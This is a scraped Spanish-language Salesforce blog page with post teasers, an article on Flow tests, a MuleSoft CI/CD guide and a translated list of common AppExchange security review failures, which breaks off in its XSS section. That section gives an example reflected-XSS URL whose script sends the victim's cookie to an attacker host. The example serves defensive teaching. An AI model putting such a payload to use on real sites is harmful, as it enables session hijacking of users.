TL;DR: Adaptamos nuestro modelo de lenguaje de proteínas ProGen para optimizar anticuerpos que se unen a una proteína llamada “CD40L”, un objetivo crítico para los trastornos autoinmunes. Probamos nuestros anticuerpos diseñados con IA en el laboratorio y descubrimos que se unían muy estrechamente a CD40L, lo que demuestra el potencial de este modelo
Seguir leyendo
Desbloquear el atractivo para el cliente: El poder de una propuesta de valor
Desbloquee el atractivo del cliente: Descubra el poder de una propuesta de valor convincente, creando resonancia y elevando su marca sin esfuerzo.
Seguir leyendoInvestigación de Salesforce en NeurIPS 2023
Resumen de la conferencia
La semana que viene se celebrará en Nueva Orleans, Luisiana, la trigésimo séptima Conferencia anual sobre Sistemas de Procesamiento de Información Neuronal (NeurIPS), del domingo 10 al sábado 16 de diciembre. NeurIPS incluirá charlas invitadas, demostraciones y presentaciones orales y en póster de los trabajos aceptados. NeurIPS 2023 se celebrará de nuevo en el
Sede de la Universidad de Nueva Orleans
Seguir leyendoCodeChain: Hacia la generación de código modular mediante una cadena de autorrevisiones y submódulos representativos
Seguir leyendoTL;DR: Con CodeChain, un gran modelo de lenguaje (LLM) preentrenado puede resolver problemas de codificación desafiantes integrando la modularidad en muestras de generación y auto-mejorarse empleando una cadena de auto-revisiones en submódulos representativos. CodeChain puede lograr resultados de vanguardia tanto con los modelos GPT de OpenAI como con los LLM de código abierto en pruebas de codificación exigentes como
Así es como aconsejo a los directivos ansiosos que aborden la IA generativa
Muchos líderes empresariales están nerviosos en privado por la IA generativa. Saben que tienen que hacer algo, pero no saben qué y cómo. Así es como lo desgloso para ellos.
30 preguntas y respuestas de entrevistas a analistas de negocio
La demanda de analistas de negocio de Salesforce ha crecido a un ritmo elevado. Las organizaciones de Salesforce han evolucionado y se han vuelto más complejas. Como resultado, existe una mayor necesidad de evaluar los cambios deseados y obtener una visión completa de la situación, para asegurarse de que todo el mundo está de acuerdo. Esta es la razón por la que las organizaciones deben buscar […]
El post 30 Business Analyst Interview Questions & Answers appeared first on Salesforce Ben.
Seguir leyendoLista de comprobación de implementación de Salesforce: De la puesta en marcha a la adopción
Las implementaciones de Salesforce, también conocidas como ‘releases’, son uno de los mayores retos para los administradores, consultores y aquellos que trabajan en otras muchas funciones. A medida que las organizaciones de Salesforce se vuelven cada vez más complejas, los cambios suelen tener muchas partes «móviles» que pueden tener repercusiones de gran alcance en la organización de Salesforce. Una vez que esté satisfecho con la solución que ha construido (en un sandbox) […]
The post Lista de comprobación de la implementación de Salesforce: De la puesta en marcha a la adopción appeared first on Salesforce Ben.
Marco para el diseño de soluciones Salesforce para equipos empresariales de comercialización
Introducirse en una nueva organización por primera vez puede ser casi como embarcarse en un viaje a través del mar oscuro durante la temporada de tormentas. Esto es especialmente cierto en un entorno empresarial que tiene cientos o miles de usuarios utilizados por múltiples grupos de partes interesadas que tienen su propia pila tecnológica integrada en Salesforce. He […]
El post Marco para el diseño de soluciones Salesforce para equipos empresariales de lanzamiento al mercado appeared first on Salesforce Ben.
Seguir leyendoVentas para pequeñas empresas: Una guía completa
Los SMBs tienen una variedad de motivaciones, y tus soluciones necesitan ayudarles a alcanzar sus objetivos.
Seguir leyendoGuía completa de documentación de Salesforce (en un mundo de inteligencia artificial)
La plataforma Salesforce es muy potente. Con cada nueva versión, su org se vuelve más potente, pero también más compleja. Como le dijeron una vez a Spiderman: «un gran poder conlleva una gran responsabilidad». Entonces, ¿cómo puede asumir la responsabilidad real de mantener su organización? Con todo lo demás que tiene que hacer, documentar sus cambios es probablemente bajo en […]
El post Guía completa para la documentación de Salesforce (en un mundo de IA) appeared first on Salesforce Ben.
Seguir leyendoCreación de fórmulas complejas desde cero: Días de trabajo al mes
Si ha navegado por el ecosistema de Salesforce durante algún tiempo, sabrá que la búsqueda en Internet de la fórmula adecuada para satisfacer sus necesidades empresariales es cosa de un día. Escarbar en foros y bases de conocimiento en busca de esa pieza de código perfecta se ha convertido en una parte integral del conjunto de herramientas del profesional de Salesforce. Estos […]
The post Creación de fórmulas complejas desde cero: Días de trabajo al mes appeared first on Salesforce Ben.
La creación de fórmulas complejas desde cero: días de trabajo al mes
Seguir leyendoUn día en la vida de un nuevo programador de Salesforce
Ingresar en el ecosistema de Salesforce puede ser una experiencia desalentadora pero emocionante. Hace poco más de un año, me incorporé a Giveclarity como consultor técnico en prácticas. Tras tres meses de formación, me adentré en el dinámico mundo de la consultoría. Como nuevo miembro del equipo técnico, me dedico a todo tipo de tareas, desde trabajar en […]
The post Un día en la vida de un nuevo codificador de Salesforce appeared first on Salesforce Ben.
Seguir leyendoSalesforce Velocity con Sweep: Un nuevo estado de ánimo operativo
Última actualización el 25 de octubre de 2023 por Rakesh Gupta Salesforce es la plataforma CRM líder en el mundo por una razón: está en constante evolución e innovación, impulsando un crecimiento masivo en el ecosistema. El ecosistema de servicios y productos de Salesforce ha crecido significativamente en los últimos años. En 2021, IDC publicó un estudio en el que se
The post Salesforce Velocity con Sweep: A New Operational State of Mind appeared first on Campeón de la Automatización.
La velocidad de Salesforce con Sweep
Seguir leyendo¿Sabe qué hay en la hoja de ruta de Salesforce para la IA?
Después de la plétora de emocionantes anuncios de IA en Dreamforce, sabemos que hay un montón de emocionantes innovaciones de IA a la vuelta de la esquina. Pero con tanto que esperar, ¿cómo podemos estar al tanto de lo que está por venir y cuándo? Las hojas de ruta de productos de Salesforce son la clave para estar al tanto de lo que se […]
planea y [..
La entrada ¿Sabe qué hay en la hoja de ruta de la IA de Salesforce? appeared first on Salesforce Ben.
Seguir leyendoArquitectos de Salesforce: From Good to Great With Design Thinking
«¿Cuál cree que es la diferencia entre un buen y un gran arquitecto de Salesforce?» Hace años, compartía un taxi después de Dreamforce con un amigo arquitecto de Salesforce y serpenteábamos entre el tráfico atascado en el centro de San Francisco. Surgió el tema de por qué muchos aspirantes a arquitectos fracasan en su primer intento en los exámenes de CTA. Pues bien, […]
El post Arquitectos de Salesforce: From Good to Great With Design Thinking appeared first on Salesforce Ben.
Los arquitectos de Salesforce: De buenos a excelentes con Design Thinking
Seguir leyendoCómo la consultoría de AWS puede maximizar el ROI de adopción
Cada vez más organizaciones de todos los sectores están considerando la migración a AWS para aprovechar los beneficios de una mayor flexibilidad, seguridad avanzada y una gama de sólidos servicios de AWS. Según Statista, el segmento de AWS crece al menos un 20% cada año. A pesar de todas las ventajas potenciales de la plataforma en la nube de AWS, su implementación tiende a llevar tiempo […]
The post Cómo la consultoría de AWS puede maximizar el ROI de la adopción appeared first on Salesforce Ben.
Seguir leyendoUso de prueba de flujo versus clase de prueba para flujo en Salesforce
Introducción de la prueba de flujo
Anteriormente, si queríamos probar el flujo, necesitábamos escribir una clase de prueba de Apex para el flujo. Con la versión Summer '22, Salesforce introdujo un marco de prueba para flujos activados por registros para automatizar las pruebas de flujos. Ahora podemos dejar que Salesforce pruebe el flujo, asegurarnos de que los resultados cumplan con las expectativas y resaltar cuando no lo sean. Ahora podemos crear y ejecutar pruebas dentro del propio generador de flujo, de forma declarativa sin escribir ningún código.
Cómo funciona
Establecer detalles de prueba, desencadenante y ruta
Proporciona una etiqueta de prueba de flujo y una descripción de la prueba. Establezca el activador de prueba en Creado/actualizado según el escenario. La ruta de la prueba está configurada para Ejecutar inmediatamente.
Establecer registro de activación inicial/actualizado
Usando la función de búsqueda, podemos buscar el registro para usarlo como plantilla inicial. Tras la selección del registro, los campos se completan a partir del registro seleccionado. La prueba hereda los valores de campo del registro seleccionado. Sin embargo, podemos modificar los valores de estos campos antes de finalizar la prueba. La prueba no está vinculada a este registro pero contiene y utiliza sus valores de campo.
Establecer afirmaciones
La aserción es una forma de comparar el resultado real con el resultado previsto. Si coinciden, entonces la afirmación se evalúa como verdadera. De lo contrario, la afirmación falla. Escriba las siguientes afirmaciones para garantizar que se cumplan los criterios de entrada de registros para el flujo y se logre el resultado esperado.
Ejecutar prueba y ver detalles
Haga clic en el botón "Ver pruebas", seleccione el menú desplegable de la prueba de flujo que queremos ejecutar y seleccione Ejecutar prueba y ver detalles.
La prueba de flujo se ejecuta y resalta el camino que tomó la prueba. Si necesitamos probar el flujo, simplemente podemos ejecutar la prueba. Ya no es necesario configurar los datos de prueba mediante programación. ¡Esto aumenta la eficiencia de las pruebas! Si necesitamos realizar una mejora en este flujo en el futuro, necesitaremos actualizar el registro de prueba asociado en consecuencia.
Beneficios
- Fácil y cómodo de usar: podemos crear registros de prueba a través de la interfaz de usuario y ponerlos a prueba.
- Tiempo y esfuerzo: reduce el tiempo y el esfuerzo necesarios, ya que no necesitamos escribir código, solo crear registros desde la interfaz de usuario y realizar afirmaciones.
- No afectará la cobertura del código existente a nivel de clase: si migramos cualquier funcionalidad del activador al flujo, la lógica subyacente del activador/clase también se limpia manualmente como parte de este ejercicio. Esto no reducirá la cobertura del código de la clase ya que la lógica se elimina por completo.
- Cobertura de la prueba de flujo: el porcentaje de cobertura no se captura en la prueba de flujo como podemos hacerlo a través de la clase Apex. Más bien es capaz de cubrir nodos. Una vez seleccionamos “Ejecutar prueba y ver detalles”. La ruta resaltada en amarillo representará la cobertura real del flujo desde el principio hasta el final del nodo.
Desventaja
- Solo puede crear pruebas de flujo para crear, actualizar o crear/actualizar flujos activados por registros. Aún no se admite la eliminación de flujos activados por registros. – Solo para el escenario de eliminación de registros podemos escribir una clase de prueba
- Puede afectar la cobertura general: dado que la cobertura de prueba general se calcula en función de la cobertura de prueba de todas las clases combinadas (promedio), si migramos cualquier característica que tenga una cobertura de prueba más alta en la clase ápice relevante, podría reducir el porcentaje de cobertura general del código. (Como actualmente solo nos estamos enfocando en migrar el activador relacionado con la cuenta para fluir, solo se ve afectada 1 clase de prueba, por lo que no hay cambios significativos en la cobertura del código Apex).
- Las pruebas de flujo no admiten rutas de flujo que se ejecuten de forma asincrónica. Sin embargo, no tenemos flujo asíncrono en nuestra organización. Estamos creando flujos para cubrir escenarios que se ejecutan sincrónicamente.
Recomendación
- Podemos comenzar a dar pasos para pasar a la prueba de flujo a medida que Salesforce realiza mejoras continuas en el flujo, por lo que en versiones futuras, podemos esperar que la prueba de flujo incluya más mejoras y reduzca las limitaciones.
- Podemos comenzar escribiendo una prueba de flujo para las actualizaciones rápidas de campos (antes) de los flujos de activación de registros.
- Mejorar la cobertura de prueba de las clases que tienen menos cobertura para que podamos usar la prueba de flujo.
Preguntas más frecuentes
¿Cuál es el porcentaje de cobertura para implementar Flow?
En relación con las pruebas de Apex, las pruebas de flujo no se consideran parte de la cobertura de pruebas como en el 75%+ para el despliegue de productos.
¿Brindan cobertura de código como lo hace la clase de prueba? Si no, ¿debemos pensar en eliminar el flujo de la cobertura de prueba?
Sí, cubren resaltando nodo por nodo.
¿Puede confirmar si la prueba de flujo permite ejecutar pruebas masivas?
No, no admite pruebas de registros masivos. En la mayoría de los escenarios relacionados con desencadenantes, hemos creado un registro individual en la clase de prueba y verificamos los escenarios de prueba. Si reemplazamos esos desencadenantes con flujos, no habrá una gran diferencia en los casos de prueba.
¿La prueba de flujo admite la asincronía?
Las pruebas de flujo no admiten rutas de flujo que se ejecuten de forma asincrónica. Sin embargo, no tenemos flujo asíncrono en nuestra organización. Estamos creando flujos para cubrir escenarios que se ejecutan sincrónicamente.
¿Cuál es el rendimiento de las pruebas de flujo en comparación con las clases de prueba?
No veo ninguna documentación oficial, pero creo que la prueba de flujo será más rápida en comparación con la clase de prueba porque cuando ejecutamos una prueba creará una instancia de la clase y llamará a métodos individuales. Podemos ejecutar casos de prueba individuales utilizando una prueba de flujo, pero no es posible ejecutar un solo método individual desde la clase de prueba, lo que lleva mucho tiempo.
Referencia
Consideraciones para probar el flujo
Seguir leyendoHabilitación de MFA en MuleSoft para canalizaciones de CI/CD mediante acciones de GitHub ☁️
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
La mayoría de las cuentas empresariales de Anypoint Platform requieren que utilice mecanismos de autenticación multifactor (MFA) para mayor seguridad. Esto significa que, además de su nombre de usuario y contraseña habituales, necesitará un paso adicional para autenticarse (por ejemplo, una aplicación de autenticación en su teléfono).
Cuando utiliza canalizaciones de CI/CD para sus aplicaciones Mule y MFA está habilitado en su cuenta, la configuración para autenticarse usando el complemento Mule Maven será diferente que si solo estuviera usando su nombre de usuario y contraseña. Hay más pasos que debe seguir desde su cuenta de Anypoint Platform para habilitar sus canales de CI/CD con este método de autenticación.
En esta publicación, aprenderá cómo configurar una canalización de GitHub Actions para que funcione con su cuenta habilitada para MFA desde Anypoint Platform.
Requisitos previos
Crear una aplicación conectada
Dado que usar el nombre de usuario y la contraseña de su plataforma Anypoint no es suficiente para autenticarse en el proceso, debe crear una aplicación conectada para usar sus credenciales (ID/Secreto). Para crearlo, vaya a su cuenta de Anypoint Platform y navegue hasta Gestión de acceso > Aplicaciones conectadas > Crear aplicación .
Asigne un nombre a su aplicación para identificarla de otras que pueda crear. Por ejemplo, github-actions
. Seleccione el tipo La aplicación actúa por sí sola y haga clic en el botón Agregar ámbitos .
Seleccione los siguientes 10 ámbitos.
- Desarrollador del centro de diseño
- Ver entorno
- Ver organización
- Perfil
- Administrador de organización de CloudHub
- Crear aplicaciones
- Eliminar aplicaciones
- Descargar aplicaciones
- Leer aplicaciones
- Leer servidores
Haga clic en Siguiente . Seleccione su grupo empresarial y haga clic en Siguiente . Seleccione su entorno (por ejemplo, Sandbox) y haga clic en Siguiente . Revise que los alcances sean correctos y haga clic en Agregar alcances . Haga clic en Guardar .
Una vez creada la aplicación, asegúrese de copiar tanto el ID como el Secreto . Los utilizará en la configuración de la canalización como método de autenticación.
Configura tus secretos de GitHub Actions
Vaya a su repositorio de GitHub. Haga clic en la pestaña Configuración > Secretos y variables > Acciones > Nuevo secreto del repositorio . En el campo de nombre, agregue CONNECTED_APP_CLIENT_ID
. En el campo secreto, agregue la identificación real que acaba de copiar en el paso anterior. Repita este paso para crear otro secreto con el secreto real que copió en el paso anterior. Utilice el nombre CONNECTED_APP_CLIENT_SECRET
.
Crear una canalización de CI/CD
De vuelta en el código de su aplicación Mule, cree una carpeta .github
en el nivel raíz. Dentro de esta carpeta, cree otra carpeta llamada workflows
. Dentro de esta carpeta, cree un archivo build.yml
con el siguiente contenido: mule-mfa-cicd-build.yml . Tenga en cuenta que la sucursal main
se utiliza en la línea 5. Si su sucursal tiene un nombre diferente, asegúrese de actualizar esta configuración.
En este archivo, describimos los pasos para generar el archivo JAR de nuestra aplicación Mule e implementarlo en nuestra cuenta de Anypoint Platform usando GitHub Actions. Observe que estamos usando los secretos creados previamente en el último paso para pasarlos a nuestro proyecto a través de Maven. Aquí declaramos dos variables de entorno Java ( client.id
y client.secret
) para copiar las credenciales de nuestra aplicación de los secretos de GitHub para que el archivo pom.xml pueda usarse más adelante.
Modifica tu configuración de Maven
En su proyecto Mule, abra su archivo pom.xml. Localice el complemento org.mule.tools.maven
en project/build/plugins
. Agregue la siguiente configuración a este complemento.
<dx-code-block title language="xml" code-block=" org.mule.tools.maven mule-maven-plugin ${mule.maven.plugin.version} true https://anypoint.mulesoft.com 4.4.0 mulesoft-mfa-cicd Sandbox MICRO us-east-2 1 true ${client.id} ${client.secret} client_credentials
«>
Vuelva a verificar estas configuraciones en caso de que necesite actualizarlas para que coincidan con su caso de uso. Por ejemplo, muleVersion
, applicationName
, environment
o region
. Usaremos los campos connectedAppClientId
y connectedAppClientSecret
para pasar las variables Java que declaramos anteriormente en la configuración de Maven.
Es importante que no codifique las credenciales de la aplicación conectada en este archivo por razones de seguridad. Es por eso que mantenemos los valores como secretos de GitHub. Recuerda que puedes acceder a nuestro repositorio de ejemplo si necesitas comparar tu código con el nuestro.
ejecutar la tubería
Una vez que todas sus configuraciones estén listas, confirme y envíe sus cambios al repositorio remoto. Esto activará la canalización en GitHub. Puede ver el proceso haciendo clic en la pestaña Acciones de su repositorio de GitHub.
Una vez completado el proceso, su aplicación Mule se implementará en Runtime Manager. Tenga en cuenta que el archivo JAR contendrá el hash de confirmación en su nombre.
Conclusión
Habilitar canalizaciones de CI/CD es importante para automatizar tareas repetitivas. En lugar de implementar manualmente una aplicación Mule cada vez que hay un cambio en el código, podemos crear canalizaciones para que realicen estas tareas por nosotros. Este fue un ejemplo simple que utiliza solo una sucursal y un entorno, pero puede conectar otras sucursales a otros entornos en Anypoint Platform. Por ejemplo, dev
, qa
, prod
, etc.
En esta publicación, aprendimos cómo implementar automáticamente una aplicación Mule en CloudHub cuando usamos la autenticación multifactor en nuestra cuenta de Anypoint Platform porque la mayoría de las cuentas empresariales tienen esta configuración habilitada. Sin embargo, cuando solo usa una cuenta de prueba gratuita, no necesita crear una aplicación conectada si no usa MFA en su cuenta. Puede utilizar su nombre de usuario y contraseña de Anypoint Platform para iniciar sesión.
Hay muchas cosas que puede automatizar al utilizar canalizaciones de CI/CD para sus aplicaciones Mule. Puedes ejecutar pruebas automatizadas antes de implementar tu aplicación Mule, por ejemplo. ¿Se te ocurren otras tareas repetitivas que puedas automatizar en tus canalizaciones?
Nota: Las versiones iniciales de la canalización se basan en el siguiente repositorio creado por Archana Patel: arch-jn/github-actions-mule-cicd-demo .
Recursos adicionales
Sobre el Autor
Alex Martínez formó parte de la comunidad de MuleSoft antes de unirse a MuleSoft como desarrollador defensor. Fundó ProstDev para ayudar a otros profesionales a aprender más sobre la creación de contenido. En su tiempo libre, encontrarás a Alex jugando juegos de Nintendo o Playstation y escribiendo reseñas sobre ellos. Siga a Alex en LinkedIn o en la comunidad Trailblazer .
Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.
Añadir a holgura Suscríbete a RSS
Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.
Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.
#1 — Aplicación de CRUD/FLS
¿Qué es esto?
Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.
¿Cómo puedo abordar esto?
Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.
El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE
en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa
en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.
Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult
(es decir, métodos como isCreatable()
, isUpdateable()
, isDeletable()
), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.
El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .
Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .
#2 – Versión de software insegura
¿Qué es esto?
Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.
¿Cómo puedo abordar esto?
Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.
Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.
Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.
#3 – Violación al compartir
¿Qué es esto?
Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing
al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.
¿Cómo puedo abordar esto?
Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing
(o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .
#4: Almacenamiento inseguro de datos confidenciales
¿Qué es esto?
Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:
- El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
- Los secretos pueden quedar expuestos en registros o mensajes de error
- Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.
¿Cómo puedo abordar esto?
Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:
- Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
- Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
- Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
- Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos
Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .
#5 — Configuración TLS/SSL
¿Qué es esto?
Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.
¿Cómo puedo abordar esto?
Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.
Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.
Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.
Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .
#6 — Información confidencial en depuración
¿Qué es esto?
Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.
¿Cómo puedo abordar esto?
En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.
Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.
Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.
Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.
#7 – CSRF
¿Qué es esto?
La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.
En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.
¿Cómo puedo abordar esto?
En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.
Para páginas de Visualforce:
- Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
- No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
- Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.
Para componentes Lightning:
- De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como
init
(para Aura),connectedCallback
,renderedCallback
oconstructor
.
Al realizar llamadas API:
- Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.
CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.
Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.
N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas
¿Qué es esto?
Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.
En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.
Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>
).
Los motivos por los que su aplicación podría ser susceptible incluyen:
- Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
- Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
- Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
- Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad
innerHTML
,lwc:dom=”manual”
o el componentelightning:formattedRichText
sin la validación de entrada adecuada. - Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).
¿Cómo puedo abordar esto?
Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:
- Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo,
eval()
